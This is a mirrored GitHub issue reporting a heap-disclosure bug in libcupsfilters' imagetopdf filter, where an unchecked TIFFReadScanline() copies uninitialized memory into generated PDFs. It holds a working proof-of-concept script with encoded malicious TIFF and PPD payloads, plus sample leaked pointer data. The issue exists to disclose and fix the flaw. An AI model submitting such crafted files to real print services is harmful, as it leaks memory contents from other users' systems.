OpenPrinting / OpenPrinting/libcupsfilters

imagetopdf: failed TIFF scanline read leaks heap contents into PDF

Open
#183 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

The TIFF decoder ignores a failed TIFFReadScanline() and converts the
uninitialized scanline buffer into the output image. A valid TIFF header whose
strip points past end-of-file causes 64 bytes of residual heap data to be
embedded in the generated PDF.

This is a document-only confidentiality primitive. Its practical impact
depends on whether the generated PDF is visible to the submitter or another
attacker-controlled endpoint.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.tiff is a 134-byte little-endian, uncompressed, 64-by-1
grayscale TIFF. Its strip offset is 1,000, beyond end-of-file. Its SHA-256 is
9ce6dd93681edce7e8626945db5d6f2faef541e7b5d3a7a2e577c0e7ee1f0b62.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: imagetopdf: failed TIFF scanline read leaks heap contents into PDF
# Finding ID: imagetopdf-truncated-tiff-heap-disclosure
# Trigger: The TIFF decoder ignores a failed TIFFReadScanline() and converts
# the uninitialized scanline buffer into the output image. A valid TIFF header
# whose strip points past end-of-file causes 64 bytes of residual heap data to
# be embedded in the generated PDF.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.tiff (134 bytes)
write_file document.tiff 9ce6dd93681edce7e8626945db5d6f2faef541e7b5d3a7a2e577c0e7ee1f0b62 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA/P01GLgYGBg4GJgYGRhYASyHICYEcoGYSZGZjANUsUMZYMwGxJbEKr+BTMDgxBU
nAmIRZHUiCGZKY5kFwgAAG2dM4SGAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (2278 bytes)
write_file printer.ppd c1a6d5622f4a422bcbb81b393e42287a5c661331c924e1b27b29599022b135c5 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61VXW/aMBR951dYfSpIrfmsGKomFWg7tAJZoZOmaQ9uuASrxo4cp4L++l3bQEKJ
0mqaBA4+x/ec45sQ14JgeHGzUM/QI2fty9ZZpXan9JqZn6ATrmSGcgEZ1risI/bAZJSyKMNvZSR4
ssqYWxmqBZdRj4xm0wdmuGxUamMm0yULTapBo9ZsPL+4S9/eQKPkWC1ATNjaxhmtUWGuHlliQJOB
egWNAJnGBs0SXDxbKW0mPHzZFaDSHNaxYAaQzREfKgUDu79MBrtyiV/LaLVIQ4PweU6+aplZ1o/z
Vr1RrxLblDCNkwOBffKI31e6frZb3mPYByYGKuaQ9MgdEwl4ArMY1xpuc9PNRYz7ZM8CLpjcrllM
6sQxRmm3I3SdxiCfRqQ2UEJpZ9YjATZgKlFzCEuWCpPnHu/7ldxicq/ZltoBXa+vqU3h2FnMQiCN
rkP63CQBaEeQIyjgGxTpfv2agIkx2QJeeWhvQs4CLSl+iw0+pd9slxoMxr++UzsUWlx9yqLVLLXo
Cxa+UDcWmrT+uU9CJfA06uXvYHZXA82l+YEPCzfb0/t6zA41W5rKUYnHqBuz2CNpIAJdJ63TOEfV
E/tCENRfCurbH9R/49GK2qGgtvNBbbBSRlE3FlRflTUyr5O1cgwLzubbGE77mKcE47KSLfYAdaPP
caDOHVg9TZIV32OmBP9e7vK+3KOl9XPNZBIzDTLc0vzkvVaeK1W8la8gVAx0/+O90h6vlnX4sDxr
7zCNBWxOe7vHJ8qBbuYmdLpcevMduLTvwVPXHesvEzXHV6kA+qBkRGARwZGE0SlQv+JTcjsxd5yU
q9nfZR3xJbk/Li6b8beChy1jbtqVwzqceO898LvzpUO67eYfas8wPEn7fbUhMhWi9NHfVR8HeYTI
HUpFUfbcPoyf/8c4XvDg6U5ke6TdaGDe9gjyzo0mwU+n2yLdlj1bD4Fj0EO+BpnkQucxX74Le1b5
C4IvvhXmCAAA
POC_PAYLOAD_1

Result

libtiff reports that strip zero could not be read, but the filter exits zero
and emits a PDF. In the ASan build, the 64-byte image stream contains the
allocator fill byte 0xbe. In a plain build, it contains process-varying,
pointer-shaped values; one archived replay began:

000073f6df8dec90000073f6df8dec60000073f6df8dec30000073f6df8dec00

No memory overwrite or filter crash occurs.

Cause and expected behavior

For the TOPRIGHT, grayscale path, image-tiff.c:505 calls
TIFFReadScanline(tif, scanline, row, 0) without checking its return value.
The conversion loop then consumes the full _TIFFmalloc() buffer. Other
branches in the same decoder contain the same unchecked-call pattern and
should be audited together.

Every failed scanline read must stop decoding or replace the complete row with
a deterministic initialized value before any output conversion.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start at image-tiff.c:505 and inspect the TOPRIGHT grayscale path, then audit the other unchecked TIFFReadScanline calls in the same decoder. Run reproduce.sh with poc/document.tiff and printer.ppd to observe the current PDF output. Done means failed scanline reads no longer consume uninitialized data and the malformed input is handled with deterministic output or decoding stopped.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
65/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.